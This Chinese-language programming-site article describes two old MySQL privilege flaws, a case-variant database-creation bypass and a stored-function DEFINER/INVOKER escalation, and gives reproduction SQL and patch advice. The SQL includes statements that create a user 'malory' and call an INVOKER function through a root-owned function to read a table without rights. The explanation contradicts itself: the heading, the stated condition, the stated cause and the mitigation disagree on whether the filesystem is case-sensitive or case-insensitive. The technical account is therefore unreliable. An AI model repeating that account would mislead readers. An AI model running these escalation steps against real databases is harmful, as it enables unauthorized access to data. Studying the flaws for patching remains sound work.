首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 權限提升與安全限制繞過漏洞(CVE 相關):大小寫繞過與存儲過程 SUID 濫用

     編輯:MySQL 資料庫相關知識

影響版本:MySQL ≤ 5.1.10(Bugtraq ID: 19559)。包含兩個獨立漏洞:大小寫不敏感文件系統下創建同名異大小寫數據庫繞過權限檢查,以及存儲過程 SQL SECURITY INVOKER 與 DEFINER 權限計算錯誤導致的提權。

漏洞一:大小寫繞過創建數據庫

條件:文件系統區分大小寫(Linux/Unix 默認)。

複現:

mysql> CREATE DATABASE another;  -- 拒絕,無權限
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'
mysql> CREATE DATABASE sAmple;   -- 成功!僅大小寫不同
Query OK, 1 row affected (0.00 sec)

原理:權限檢查使用字符串比較(區分大小寫),而文件系統目錄創建使用大小寫敏感路徑,導致 sample 與 sAmple 視為不同庫,繞過 db 表授權檢查。

漏洞二:存儲過程 SUID 權限提升

條件:攻擊者擁有目標存儲過程的 EXECUTE 權限。

複現腳本節選:

-- 準備環境
CREATE DATABASE mysqltest1; CREATE DATABASE mysqltest2;
CREATE USER malory@localhost;
GRANT ALL ON mysqltest1.* TO malory@localhost;

-- 創建無害但帶 SUID 的函數(DEFINER=root)
CREATE FUNCTION f_suid(i INT) RETURNS INT RETURN 0;
GRANT EXECUTE ON FUNCTION test.f_suid TO malory@localhost;

-- 攻擊者創建惡意函數(INVOKER 權限執行)
CREATE FUNCTION f_evil() RETURNS INT SQL SECURITY INVOKER
BEGIN
  SET @a := CURRENT_USER();
  SET @b := (SELECT COUNT(*) FROM mysqltest2.t1);  -- 無權限訪問
  RETURN 0;
END;

-- 關鍵:通過 f_suid 調用 f_evil,權限上下文發生錯誤切換
SELECT test.f_suid(f_evil());
-- 結果:@b 成功獲取 mysqltest2.t1 計數,權限提升生效

原理:f_suid 為 DEFINER(root)權限,調用 f_evil(INVOKER)時,參數求值階段錯誤地在 DEFINER 上下文執行了 f_evil 函數體,導致 INVOKER 代碼以 DEFINER 權限運行。

修補與緩解

  1. 升級至 MySQL 5.1.11+ / 5.5+ / 8.0,官方已修復權限上下文計算邏輯。
  2. 文件系統層面:避免在區分大小寫的 FS 上部署 MySQL 數據目錄(或啟用 lower_case_table_names=1 強制小寫,但需評估應用兼容性)。
  3. 最小化 EXECUTE 權限授予,嚴格審計 SQL SECURITY DEFINER 對象。
  4. 啟用審計插件記錄存儲過程創建/調用異常。

此類漏洞揭示了 MySQL 權限模型在邊界條件下的脆弱性。及時打補丁、配置基線收斂、權限最小化,是應對歷史漏洞的標準動作。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved